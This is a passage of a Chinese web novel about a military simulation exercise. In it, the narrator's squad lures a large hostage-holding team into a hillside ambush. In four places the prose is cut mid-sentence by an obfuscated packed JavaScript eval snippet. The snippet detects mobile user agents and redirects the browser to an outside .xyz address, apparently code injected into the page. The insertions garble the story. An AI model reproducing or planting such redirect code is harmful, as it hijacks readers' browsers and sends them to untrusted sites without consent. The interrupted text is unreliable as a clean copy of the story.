大团应该是没想到有队伍敢在他们的地盘上组织反攻,而且一台信号屏蔽器只配备5个抗干扰通讯器,他们的指令传达的渠道也没有那么通畅。第一声枪响后,他们的反应由乱到序花了好几十秒,在这期间我甚至幸运地带走了两个人头。 如果再冒点险收获或许更大。但我不敢,大团的优势毕竟显著,等他们反应过来,我大概就走不了,所以等吸引火力的目的一达成,我就立刻撤出了战场。 身后广场的西北侧枪声密集,应该是陈钦他们那边的战斗开始了,我没回头去看,一路向东穿出了屏蔽区。 通讯恢复的时候我的耳机尖锐地“嗡”了一声。 紧接着,枪声、爆炸声、跑动声……队频里无数纠缠在一起的繁杂信息在一瞬间涌入我的耳膜,地图也刷新了,我惊讶地发现队4个队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063983|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友都离开了预定的会和点,移动到了地图的最北端,此刻4个代表坐标光点都在快速地跳动着。 队频里充斥着令人应接不暇的指令和求援报告。 “4号!注意你6点钟方向,有目标靠近——” “转移!别愣着了,跑!!” “我跑不了!树上有狙击手……3号!3号你干什么呢?干掉他!” “我刚刚都说过我没子弹了!还是先撤吧……” “谁扔的烟雾弹?看不见怎么撤?!” …… 我不知道发生了什么。我所在的队伍是其实最早在地图东北侧山上活动的队伍之一,之前预定的会合点,是一个很适合伏击过路人的高地。在我昨天晚上进屏蔽区之前,除5号外的其他三位队友都一直在那里按正常节奏刷着人头。 如果不是发生意外,他们应该不会放弃已有优势转移的。 我在队频里试着问了句情况,但太嘈杂了,没人听见。直到我问第二遍,4号队友才在跑动间吼了一句:“2号?来得正好,我们需要支援你赶紧过来!5号那个废物,但凡他有一点用,也不至于一点用没有!” 爆炸声湮没了他的后半句。 我没有犹豫,开始以最快速度朝队友们所处的方向赶过去。但他们遭遇的战斗规模似乎比我想象的还要大,离着还有一公里多,四周已经是断壁残垣硝烟弥漫。 我谨慎地收住脚步,混战中盲目的支援,往往以炮灰的形式收场。 “距离你346米11点钟方向有个水塔,”队频里,5号突然冷淡的声音突然道,“视野不错,也适合火力压制。上面的人刚刚中弹退场了,你可以去。” 我看了一眼地图,他和队长、3号、4号之间还隔着一段距离,大约并没有处在核心战圈中。 我一边向他说着那个水塔移动,一边问他:“发生什么了,为什么会这样?” 5号说:“昨天夜里,4号在地图北侧侦查,发现了一个民兵装备仓库。因为当时队伍弹药已经出现短缺,队长判断,支撑不到演习结束,所以三人决定去装备仓库补充弹药。” 听到这里,我微微皱了一下眉。 后面的事情,他不说也可以想象——这个民兵装备仓库,虽然位置偏僻,但活动在地图上半部分的队伍到这时大多都已发现它的存在。而截止到昨夜,演习开场已经超过36小时,基本上所有队伍都同时面临着弹药不足的问题,争夺弹药会是决定生死存亡的关键。 在这种情况下,装备仓库就是个有去无回的黑洞。所有队伍都在抢弹药,所有队伍都抢不到弹药;所有队伍都在抢抢弹药的人头,所有队伍也都是被抢的人头。 队长他们三人或许在陷入这个怪圈后就反应过来了,但已经晚了。 我问:“不过,他们为什么骂你?” “他们让我去支援,”5号说,“我不去。” 我心说那他们骂得挺有理有据。 5. 【1.5】 按5号的提示抵达水塔后,我沿着内井爬上去,果然在水箱顶盖上方找到了一具阵亡的尸体。 这个人用的是71式,还剩下一些子弹,尽管偃月用不了,我还是把它们收进了装备包。 烟雾弹造成的视觉影响正在减弱,装备仓库周边的景象逐渐显露出来,我对照着地图,一一确认了受困三名队友所在的位置。3号和4号此时正躲在一道矮墙后,和我的直线距离很近,但我们之间的区域在图上被打上了红色的禁止标记。 “昨天晚上有队伍在那儿埋了地雷,不能直接通过,”队长说,“3号、4号,你们从西侧围墙后绕行,2号你掩护他们——对了,你还有子弹吧?” 其实我也没有多少了,完整弹链只剩下最后两条。 但这种时候没必要说出来徒增他们的负担,子弹打空了可以再补,队友没了就真没了。我说:“我有的,放心吧。” 趁着装备仓库那边的枪声又起,3号和4号开始沿围墙向西转移。 两个人移动的速度慢得出奇。我扫了一眼队伍面板,没人挂负面状态警示,大概还是要躲避其他在附近活动的队伍的缘故。 刚刚烟雾弹笼罩的区域横七竖八倒着几具尸体,也没人敢过去捡装备。 几分钟后,装备仓库那边的枪声频率逐渐有了减弱的趋势。 “还没走出去?”队长的语气略带几分焦灼,“仓库门口的几支队伍被打残了,现在正往外撤,你们得快点了,要不容易和他们撞上。”补枪的人才不会在意两拨人是不是一伙的。 但3号和4号快不起来,周围在搜寻漏网之鱼的人太多了,而且大部分是几队结盟。两人小组身处其间,必须全神贯注观察身旁的每一点微小的情况变化并做出反应。大概是为了不被干扰,两人甚至关闭了一会儿队频通话。 很快,从装备仓库溃散的几个残兵,已经奔到了先前他们藏身的矮墙后。 从我的位置,能够看到墙隙间杂乱闪过的人影。距离3号和4号已经不足100米,而两人行动的节奏依旧不紧不慢,定位地图上的光点半天不带动一下的。我没想到这两人如此沉得住气,尤其是4号,他之前给我印象多少是有些冲动的。 队长在频道里打字提醒他们快被赶上了。 其实他就算不说,3号和4号此刻也听见了——游走在这一带的团队发现了这群慌张逃窜的残兵,火力很快倾泻了过来,打得斑驳的墙皮都簌簌落了一地。在震耳欲聋的噪声中,两人终于移动到了围墙的尽头,并在冲出的一瞬间接回了通讯:“2号!” 我几乎是在同一时刻扣动了扳机。 一个三发短点射,精准无误地将墙对面探出头的狙击手压了回去。3号和4号快速向着水塔奔跑,这段路不长,只有50来米,但能借助的掩蔽物太少了,我不再吝惜子弹,全程用火力护着他们进了水塔底部的机棚。一起跑进来的还有几个幸运跟在他们身后的残兵,在到达安全地带后发出了一阵不大不小的欢呼声。 队长问:“成了?” 他应该是个很沉稳的人,从开场到现在,我还是第一次听到他的声音里带上少许轻快。在得到肯定的回复后,他的光点也开始缓慢地跳动——他所处的位置是一个距离装备库较远的土丘,周围人少,也相对安全,绕过来的路线并不会经过战圈的中心。 队长一边走,一边在频道里诚恳检讨道:“其实5号是对的,从一开始我们就不该打这个装备库的主意。是我决策失误了。” “别这么说卢头,最开始来这里抢装备也是我提议的。” “不是你们,主要还是我的问题。我太慌了,没看穿敌人的虚张声势,太早打空了子弹,要不咱们后来不至于那么被动……” 几个人你一言我一语地复盘起战斗过程。 天已经亮了。硝烟未散的地平线上,霞色日光透过朦朦云霭洒下来,即使是战场,这一刻也显得柔和澄净。 不知道谁说了一句:“这个场景地图挺美的。” 队长停下脚步,抬头看了看漫天的朝霞:“说得对。不是所有人,都机会在模拟系统看日出,我们不能浪费宝贵的演习机会。” 接着他深吸一口气,动员道:“演习还剩不到30小时了,场上留到现在的队伍,很少有人能像我们这么齐整的。这说明我们都非常优秀,一时的失败不能打垮我们!接下来,只要大家齐心协……” “轰——” 一声巨响,截断了他未出口的话。 爆炸的浓烟腾空而起。 “队长?!”3号和4号在队频里急忙喊了起来,“你在爆炸点附近吗?!你情况怎么样?” 我在水塔上方,清晰看到了土丘南侧的树林里闪过的火光。 是爆破器,不知道是人为控制的,还是设的定时。爆炸发生的太突然了,不过现在想起来,应该是巧合的概率更大,那条路真的很偏,有目标经过的概率太低了,放置爆破器的队伍应该也只是碰碰运气,不会特意浪费人力去盯守。 面板上,队长那一栏的数盏警示灯同时转红,几秒后,又随他的名字一齐灰了下去。 他退场了。 频道里3号和4号的呼喊声在这一瞬陷入死寂。 我沿水塔内井爬下来。和3号、4号两名队友第一次正式见了面,3号是个长相斯文的青年,4号则身材相当健壮,作训服包裹着的肌肉线条利落剽悍,不愧是扛得起70kg负重的男人。 两人此时此刻状态都不算好,除了接近临界线的饥饿和疲惫值以外,萎靡中带着一丝丝难以置信的神情,和刚刚被调动起又迅速跌到谷底的士气,显然更需要时间去消化。 队长退场后,他的系统权限自动顺延到了我身上,但我没说什么。说什么也没用,再如何强调我们是一支优秀的队伍,也无法改变眼下的事实——数据分析师挂了,根据地丢了,奇缺弹药,队伍里还有一个失踪人口。 于是我只说:“先休息吧。” 和他们一起跑出来的残兵一共有5个人,分别来自4支不同的队伍,其中3个都是独苗。这时也都没走,抱团总是要安全些。大家排了个次序,开始轮流进食和休息。 我把缴获的子弹给3号,又从别人那匀了一份口粮。吃完后就又爬上了内井。 这次我没有爬很高,在视线里能守着队友们休息的位置就停了下来,调出操作面板,用队长权限屏蔽了3号和4号的信号输入,轻声问:“5号,你睡了吗?” 5号:“没有。” 我说:“听队长之前说,在进攻装备库的事上,你曾劝阻过他们?” 他说:“是。” 我想了想,没有问原因。抬手点开地图,把昨天夜里在信号屏蔽区里侦察到的信息一点点补进去,一边跟他简单说了那个大团的情况:“……他们收人来者不拒,所以扩张的速度非常快,除非像昨天上半夜那样,有组织的大联盟去推他们的据点,让他们减员。否则按他们扩张的速度,现在怕是得有三四十人了。” “不用怕是,他们现在已经超过四十人了。” “你怎么这么确定?” “因为不会有你说的那种联盟。”5号说,“大团在屏蔽区里优势太大,要冲击他们的据点,至少需要多于他们50%的兵力才有胜算,否则就是送死。根据历史数据,演习开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063984|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场第42至44小时——就是你出屏蔽区到现在,留在场上的总人数平均在120上下,排除本次地图中有平民聚居区的因素影响,在屏蔽区方圆5公里内活动的人数应不超过56人。” “而按你所言,你走时大团已经有20人以上的规模了。再排除陈钦他们和停车楼里的人,该区域内的剩余人数即使全部结盟,也无法对大团形成有效打击。” “因此,”5号顿了顿,冷冷地下了结论,“你现在该做的是考虑对策,而不是寄希望于敌人自动消失。” “……” 有时候我甚至怀疑他一直不露面,是怕被队友打死。 我说:“我没有。”我是真没有,40人的大团,就是40个人头,要是真被别的队伍先一步打垮了,我大约还会有点惋惜。目前我的队伍击杀数是19,虽然维持这个战绩到结束,大约也能排到中游偏上的水平。 但止步于此,我还是会意难平。 “我想听听你的意见,”我对5号说,“你觉得大团会对这个装备库感兴趣吗?” 虽然事实已经反复证明了,民兵装备库就是个靶子,它在本场演习中存在的意义对大多数队伍而言只是增添了一个险恶的陷阱。但大团不一样,他们人多势众、实力强横,又有平民人质在手,如果他们有意参与争夺装备库,未必没有得手的可能。 5号说:“一个装备库或许不足以打动他们,但再加上围绕着装备库的你们,他们一定会来。” 我明白他的意思,我想要大团的人头,而大团也一样。 这个装备库,眼下应该是地图上半部分人员最密集的区域了。大团的扩张,最终目的还是为了拿人头,守着一个据点不动,效率很低,而且随着规模越大,平均到每支队伍的击杀数就越少。 他们迟早要移动,寻找刷人头的机会。而机会最多的地方就是他们的目的地。 只要他们愿意来,接下来的事情就好办了。 其实在刚刚接应队友的时候,我从水塔顶部观察了一会儿四周的地形,心底就隐约有个想法——装备库西侧是一片长达2公里多的半月形山垄,南缓北陡,利用好了,或许是能打一场以少对多的战斗的。 从大团据点要到达装备库,向北走直线是最近的,但要穿过我现在所在的废墟地带,这里是战斗最激烈的区域,他们如果不想一上来就遭遇正面冲突,就绝不会走这条线;而西侧的半月形山垄植被较少,不利于隐蔽,他们应该也会尽量避开; 相对最优的是东侧的丘陵线,树林茂密——就是我们队长阵亡的那片树林。有纵深,可进可退,如无意外,将会是大团的第一选择。 “我打算在东侧的树林里设陷阱,作出有人埋伏的假象,让他们改走西线,”我说,“西线植被少,但沿着山体还有一些冲击沟可以利用,埋伏一队人在那里,趁他们经过时打乱他们的队伍,只要距离足够近,他们碍于队伍中带着平民人质,也不敢放开手脚使用热武器。” “这队人不需要直接救出人质,只要趁乱把大团一路往北引,拉大他们队伍的前后间距。再有另外两支队伍,在北面山势最陡的位置形成夹击,拖住他们的战斗人员,第一队人这时在后方负责疏散掉人质,再调头回山上,三面合围,把大团彻底歼灭。” 5号听完,没有直接表示同意或反对。只说:“这个计划风险很大,成功率不超过42.09%,你要做好最坏的打算。” 这凉水泼得还有零有整的。 我笑:“这种时候,不应该给我一些鼓励吗?” “你不需要鼓励,”他语气平淡地说,“因为只要有一线希望,你就不会放弃。” 6. 【1.6】 我把地图上最后一笔补完,点选了系统自动修正,看着面板上缓缓变绿的进度条,长舒了一口气。 “对了,你不参与作战,能不能把装备匀一些给我们?队伍现在很缺弹药。”我对5号说。想了想,怕他拒绝,又补了一句,“你不用过来,在你附近指定个地点,我过去找你交接就行。” 他说:“你等一下。” 这一下大概等了二十几秒。然后他说:“不行。” 我有点儿遗憾。缺弹药是事实,但我提这个要求时,私心里其实还有一个目的——我想见见5号。这个人的脾气是真的怪,但从开场到现在,他对局势的预判是真一次都没错过,我对他可太好奇了。 不知道是不是看穿了我的意图,他静了片刻,忽然说:“我们会见面的,但现在还不是时候。” 我在接近中午时沿原路爬下,换队友上去警戒,获取了4个小时左右的睡眠。 这足够我在演习结束前疲惫值不至于越线了。 队友们的状态也调整过来了一些,我简单做了个动员,又跟5个同是天涯沦落人的残兵确认了结盟意向,把所有人目前持有的装备清点了一遍,拣出其中的所有爆炸性武器,派4号带两个人去东侧的树林放置。 4号听到这么多炸弹只是为了迷惑敌人,不禁肉疼地提议留下一部分。 “不留。”我说,“咱们的主战场在西线,到时候那里会有平民人质混杂,没使用炸弹的条件。而且如果东线的饵太假,他们未必会上钩。” 余下的人,除了留两个守水塔以外,包括我在内全部出去拉人结盟。 眼下我们的人太少了,上述的一切部署要真正实现,需要至少一个连的兵力。 好在战场附近最不缺的就是被打散的队伍,遍地都是迷途的羔羊,短短几个小时我们的小团体已经发展到了15人。我从中选出几位社交奇才让他们继续去游说,把除我小队之外的人分成两组,各选定一名组长,带去西侧半月形山上侦察选位。 我把通信拨到名为“陈钦”的频道,尝试呼叫,但没有得到回应。 不是自然队的队友,无法通过面板查看对方的状态,此刻他是仍处在信号屏蔽区还是退场了我都一概难以获知。几次呼叫无果,我只能暂时搁置这事。 不过等到晚上8点多,我正和两个组长在山上研究构筑掩体的方案时,陈钦的通信主动接了进来。 “你们出屏蔽区了?”我起身走到一旁,在频道中问,“早上那场打得怎么样?” 陈钦说:“还不错,顺利救出了我们队长,还收编了几个独苗,现在也算是有点儿排面的团队了——对了,我听人说,北边有个装备库?” 装备库的情报果然已经传到了他们那里。 我简单说了下这边情况,陈钦的团队也缺弹药了,问起装备库的语气明显带着兴趣。但在听我说完去抢夺装备库的队伍无一幸免,甚至我们的队长在边缘地带就不明不白被送走了的时候,他就沉默了。 “购物中心附近的区域,已经被大团扫荡得差不多了,”过了一会儿,他说,“到今天下午,屏蔽区基本已经再没有什么新人进来,无论是招人还收人头,他们的效率都低了很多。我们离开之前,看他们已经派了两支小队往北去,应该是在侦察装备库的情况,为转移做准备。” 这么看来,这个大团虽然人多势众,但指挥风格还算谨慎。 陈钦本来想利用大团行动缓慢这一点,先一步带队伍赶过来,从武器库里捞一波就走。眼下却叹了口气:“竞争这么激烈,我们就不过去了。你和你队友也赶快撤出来吧,大团现在得有将近50人了,还有20多个平民人质,一般队伍撞上,就是白给。” 听到大团目前的规模时,我挑了一下眉,还真和5号预测的分毫不差。 “我们没打算撤。”我把拟定的作战计划简述给陈钦,直截了当道,“现在缺人,来吗?” 那头静了好一会儿,应该是他在和队友商量。 片刻后,他有些犹豫地回:“他们觉得有点冒险……大团的指挥,其实是有点水平的,情况不一定会按你预想的发展,你根本不知道有多大把握。” 我心说我不仅知道,我还知道准确数字呢,精确到小数点后两位的那种。 至于陈钦这话表面是拒绝,但要是真拒绝,直接说“我们觉得冒险,我们不参与”就行了,没必要用“他们”营造出一种自己想合作,奈何队友不赞同的气氛。但这也没什么,毕竟他们现在也是小有规模的团队,身段总是要有的,谁也不想让自己的队员替别人冲锋陷阵白当炮灰。 我说:“你们要是过来的话,就负责在山上配合夹击。诱敌的任务,我的队伍自己去。” 陈钦含糊道:“知道了,我们考虑考虑。” 我说:“让你当副指挥。如果我先挂了,后续的团队指挥权就交给你。” 这话一出口,陈钦的态度明显松动了。 在无损大局的情况下,团队指挥可以把最安全、最容易拿到人头的任务优先给自己的小队成员。且模拟系统内的影像是在集团军内部公开的,是个展现自身能力的绝佳机会,一名运筹帷幄的指挥,总比枪林弹雨里苦苦搏命士兵更容易让人眼前一亮。 陈钦没有再犹豫:“好,那就一言为定。” 结束通讯时是晚20:07,距离演习结束,只剩不到16个小时了。 4号在队频里汇报说西侧树林里的炸弹布置妥了,用的是遥控引爆的方式。由于这边的炸弹只是为了惑敌,不涉及人头分配的问题,所以遥控装置统一由4号拿在了手里。 出去游说的人也陆陆续续开始返回,天黑后,围绕着装备库的新一轮战斗很快打响,并不安全,左右这时候能拉到的人已经拉得差不多,我们的小团体最终达到了26人。 山下传来熟悉的猫头鹰叫,是陈钦的团队到了。 两拨人会面的时候,我们都愣了一下。 陈钦身后只有拉拉杂杂不到十个人,且状态大多不佳,其中有包括被救出他们队长在内的两个人眼下是重伤状态,移动都要靠别人帮助,基本丧失了作战能力。这支队伍的情况,显然没有陈钦在通讯中形容的那么乐观。 而我在通讯中告诉他的是我这边有十来个人,现在却已经翻了近一倍,且其中大部分人白天都经过了休整,此时看起来士气格外高涨。 两支队伍站到一起,如别云泥。 陈钦目光闪了闪,避开了我的视线。 我没说什么,只向周围人道介绍道:“咱们团队的副指挥。还有这几位战友,大家先熟悉一下,待会儿他们会和一组一起行动。” 陈钦勉强笑着和众人打了个招呼,大约也觉得自己带来的这支队伍寒酸,他又下意识补了一句:“我们原本不止这些人的。是为了监控大团的动向,所以留了一部分在屏蔽区附近。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063985|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过后来我才知道,他口中的“一部分”其实就是一个人。 山上没有伤员待的地方,于是4号带人把陈钦队伍里两名伤员送到水塔下安置——其实他们留在场上已经不可能再有任何发挥,团队也没有多余的弹药给他们,但毕竟是盟友,保全他们的尊严,胜过多拿的那一两个人头。 我带陈钦和他的队伍去了一组的埋伏点。 事先为了给陈钦的队伍留位,一组的人数原比二组少。但由于陈钦的队伍实际人数未达预期,现在不得不再从二组匀一些人过来。这一调一换,原本已经伪装得天衣无缝的山头上,又有数个身上披满遮蔽物的人形拔地而起,跑动着重新就位。 陈钦注视着这一幕,半晌嘴唇动了动,似乎想说什么。他转头看向我。 却被他通讯里传来的报告打断了。 “大团行动了!”他们的监控哨紧张地说,“平民人质被挟持在队伍中段随行。行进方向正北,预计40分钟抵达装备库!” 陈钦立刻在新拉的团队频道里通报了这个消息。 战斗进入倒计时,全体都进入了紧张待命的状态。我和两个组长最后确认了一遍作战计划,3号、4号和提前从几个非独苗队伍各选出的一名成员作为第三组跟着我,整队前往山南,为执行诱敌任务做最后的准备。 “谈上尉。”出发前,陈钦突而开口叫住了我。 我脚步顿住,我不记得我告诉过他我的军衔。 “是刚刚听一个36军盟友说的,”陈钦道,“他说你很优秀,如果不是运气不好,你是能进‘凤凰’S级部队的。” 他顿了顿,没有抬头看我的脸色,像是怕自己反悔似的快速说下去:“我也这么觉得,第一天晚上,如果不是有你带我可能已经折在那个山谷里了,根本不可能反杀拿到人头,更不会有机会参与这么大规模团队的指挥……其实我根本没想到,我夸大了我队伍的实力,就以为你也会是这样。” 陈钦苦笑了一下:“我知道总指挥要顾大局,有些话不方便直说——我的队伍里都是些残弱疲兵,去诱敌是最合适的;你的队伍状态好,牺牲了可惜,不如干脆……” “没什么可不可惜。”我打断他,“战斗总有人会牺牲。都是为了赢,谁的队伍都一样。” “可是……” “你也没必要妄自菲薄,选你,是因为你水平本来就够格。否则再怎么缺人,我也不会拿副指挥当条件和你换的。” 陈眼底微微露出愣怔之色。 “实话,要是没你,我可能也折在那个山谷里了。”我笑了笑。这时听到4号在叫我了:“走了,好好打。” 说完,我在陈钦肩头轻轻一拍,背起偃月离开。 走出两步,听到陈钦在背后又叫了我一声:“谈上尉!” 我停步回头,他垂在身侧的拳握紧,又松开,目光里游移的尘埃终渐落定。 他望着我,也笑了一下:“你也是,好好打。” “我不认为他有提高你在那片山谷里的生存率,即使没有他,你也不会在那里阵亡。”三组行军途中,5号在小队频道里如此评价道。 我一哂:“到目前为止,A编部队演习生存率最高的纪录保持者是我们36军的一名战士,甩下第二名快3个点,而且多年没有被打破——你知道为什么吗?” 5号:“为什么?” 我说:“因为他从不多管别人的闲事。” 7. 【1.7】 频道里的3号和4号哈哈大笑。 这是36军里流传甚广的一个段子,我给不少人讲过,但从来没有一个人的反应像5号这样——他思考了一会儿,然后平静又认真地道:“你表述的内容,似乎和我上面的问题没有关联。” “……” 我不理解,为什么会有人一丁点儿幽默感都没有的。 不过他成功让3号和4号笑得更厉害了。 小组抵达半月形山的最南侧,是凌晨0:11,距离演习结束,还有不到12小时。 各人在预先搭建的掩体后方就位,因为是诱敌,我们这边的掩蔽故意做得比较粗糙。以达到意外遭遇、仓促交火过后一战即溃的假象。 我调整好机枪支架,从瞄准具里观察山下的情形。 但大团到来的信号,首先不是用眼睛看到的。 凌晨0:24,全组的通讯设备在一阵杂音波动后,齐齐陷入沉寂。我们进入信号屏蔽区的范围了。 大团的信号屏蔽器能提供的有效屏蔽半径大约是1.5km,也就是说,一旦他们靠近任何目标的直线距离小于1.5km时就会被立刻察觉。这当然是个劣势,但和信号屏蔽区内他们占有的巨大的优势相比,他们的指挥还是选择了后者。 陈钦的情报没错,对方果然是个相当谨慎的人。 通讯信号的突然消失,让装备库周边正在参与争夺战的队伍发生了小范围的骚乱,枪声蓦地变得密集。4号抓住这个当儿,适时按下遥控器,引爆了一颗东线南端、离装备库最近的爆破弹。 伴随一声巨响,林间无数断枝碎叶在火光中绽开。 装备库周边的枪声立刻止歇了下来。 我看了一眼队伍击杀数,没涨。这会儿东线树林里没有人。 但这并不妨碍人类想象力的发挥。 装备库附近的队伍,在陷入信号被屏蔽后,立刻遭到了来自东线的“埋伏”,他们自然而然会认为是大团进入了树林,准备冲出来杀人夺装备库。大团的实力太强,他们不敢争锋,于是忙不迭开始往外撤; 而大团刚刚准备踏入树林,立刻也遭到了来自东线的“埋伏”,且数秒后就见有数十看不清形貌的黑影从装备库的方向快速移动而来。 大团成员下意识以为这是冲着自己来的,连忙变动队形,准备迎战。 而就在这时,4号手中另几个遥控器依次按下,树林里由南至北再度有数枚炸弹被引爆。接连不断的巨大爆炸声制造出了惊人的威势,几乎是整个山域都在震动,冲天而起的硝烟遮蔽了夜空。 大团指挥趴在一道土坡下,被冲击波推起的碎石砂砾洒了一身,耳边听着杂乱的脚步越跑越近,情急之下,他无暇在短时间内接收到的如此混乱的信息中抽丝剥茧,谨慎的头脑让他做出了几乎是唯一必然的选择:“走,转向西侧行进!” “来了。”我身旁的3号小声说道。 他的狙击夜视仪具有热成像功能,比我的微光夜视仪要看得清楚一些。在他提示后,大约过了5秒,我的目镜视野中才出现了一支行进中的楔形编队。 对方逐渐进入到了我方阵地的有效射程范围。 3号深吸了一口气。我感觉到他的手臂轻轻动了一下,立刻制止道:“再等等。”这只是大团的前卫部队,太早惊动他们,以他们指挥的风格,或许会撤回后方的本队。 且更重要的一点是,信号屏蔽器通常不会携带在前卫的身上。 尽管我方的作战计划是在已经考虑到了通讯断绝的情形下制定的,但如果可以,我还是希望能够破坏信号屏蔽器,尽早抽掉大团这张最硬的底牌。 凌晨0:43。 大团前卫登上了半月形山的半山腰,这个距离,已经过了我方最佳射程,且还在持续靠近。 大团的正队,终于缓缓出现在我的视野。 平民人质被拖在队伍的中后部,除此之外,他们还有两支纵队排列的侧卫编队,山石错落间,竟让人有种一眼望不到头的错觉。在我以前所知的同科目演习中,从来没有团队规模达到如此之大,或许以后也不会有——集结了全场近六分之一的兵力,享有信号屏蔽带来的的信息优势,还握着人质这一杀手锏。 他们看上去完全就是不可战胜的。 我垂下眼帘,将一枚曳光弹头填入偃月的下挂式榴弹发射器中,拉开保险,毫不犹豫扣动了扳机。 榴弹头内的锶化物在空气中飞速燃烧,如火凤振翅,一线惊红霎时将暗夜撕裂! 小组成员在同一时刻接收到发动攻击的信号,开始朝山坡开火。最前方的大团成员倒下了几个,但其他的人在指挥的调度下,很快做出了反应,本队散开就近寻找掩体,平民人质被推着往前赶,侧卫从两翼纵队疾行,试图形成包抄。 我当然不敢让他们抄到背后。我带的这个小组只有12个人,一旦陷入大团合围,几乎没有突破的可能。 左右这时平民人质已经在山腰上站成了一线,我方火力也很难精确绕过他们,去打击后方的大团主力。于是我和另一名机枪手转向大团侧卫,用两道接近90°的交叉火力线在敌人的纵队中撕开了一道口子:“撤!” 先前布置的阵地的粗糙外观在这时发挥了作用,大团几乎没有半分迟疑,立刻追了上来。 我用尽全力奔跑。 这一役前,我已经把可能用不上的装备全部丢弃,此时负重并不算大。但这不足300米的追逐逃逸仍然是本场演习中我经历的最严酷的时刻,这片山坡上植被稀少,我一面跑Z字形闪避身后追来的子弹,一面完全靠吼的指挥小组成员的行动。 周围不断有人中枪退场。模拟系统里没有血肉横飞的逼真特效,只有一具又一具躯体倒地的沉闷声响。 凌晨1:15。 两座熟悉的山峰轮廓,终于出现在视野。 不需要我再下达指令,小组剩余全体成员都加速冲向那里。大团紧随其后,却在转过山坳的一瞬,遭到了斜上方交织而下的猛烈火力,两座山峰上,刹那间各现出十几道黑影,无数火舌爆鸣着从型号不同、口径各异的枪口喷吐而出,密集的弹雨向着大团倾盆泻下。 ——成功了。 在一两个片刻间,我的脑海中只剩下这三个字。直到脚步一沉,我还惯性保持着向前奔跑的动作,被突起的岩石绊倒在地,一阵剧痛才后知后觉地传来。左腿小腿嵌了一枚弹片,伤口正汩汩流血。 面板上的生命值挂着鲜红的警示灯。 4号走过来,从急救包里找出酒精片和止血带,要帮我处理伤口。 “不用。”我制止了他,拿过一支镇痛剂,扎进了左腿股外侧肌。 透明的药液被针筒缓缓推尽。这种镇痛剂需要15分钟才能起效,但我没有等待的时间,缓了两口气,站起身,向小组仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063986|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存的5名生还成员道:“走,回去。” 山上的两组人用火力控制了南北两侧下山的路,大团主力一时陷在战圈里,无法脱身。 他们追我们时的速度提得太快,平民人质被甩在了最末,只有少量侧卫和一支6人机动队在负责看守。我带着我的组员调头向南,从战圈外围绕到了人质所在的位置附近。 作为小组硕果仅存的狙击手,3号独自一人沿冲击沟爬到高处掩蔽好。 我向山下空打了一枚榴弹头。趁着对方两人被动静引过来查看情况,埋伏在坡下的4号一跃而起,用军刺割断了一人的咽喉,另一人立即转身往回跑,同时大声示警。机动队队长见势不妙,连忙让队员掩护自己人归队,一边拿出抗干扰通讯器,飞快地向总指挥汇报起了情况。 他们的总指挥太谨慎,如果让他下指令,他一定会让机动队不要理会我们,只管盯紧人质。 好在他们的总指挥此刻身陷信息庞杂的战场,对这边的答复稍慢了几拍。趁这个当儿,机动队几人已经自作主张从掩体中探出头,开始向山坡下方扫射。 我和身旁的组员被火力死死压住,趴在四溅的弹片和硝烟里。 1秒、2秒、3秒…… 枪声忽然停了。 抗干扰通讯器滑落。机动队的队长一头栽倒在地,露出后背上一个冒血的弹孔。 是3号! 这一枪有如神助,同时却也暴露了3号的位置。机动队员很快开始朝他在山上的据点还击——就算没把他直接送走,短时间内,我们也无法再靠他输出。 好在这时敌人统共只剩下5个人,又没了队长,组织比刚才松散了很多。当4号带着两人从绕行到侧翼,魁梧的身影像一只凶狠矫健的猎豹冲出灌木、扑向他们时,对方一时竟是有些慌乱,有人退后,有人去捡地上的通讯器呼叫支援,还有人下意识扣动了扳机。 一枚子弹从两名人质间飞过,打在了岩石上。 人群发出惊恐的尖叫,场面顿时乱成一团。 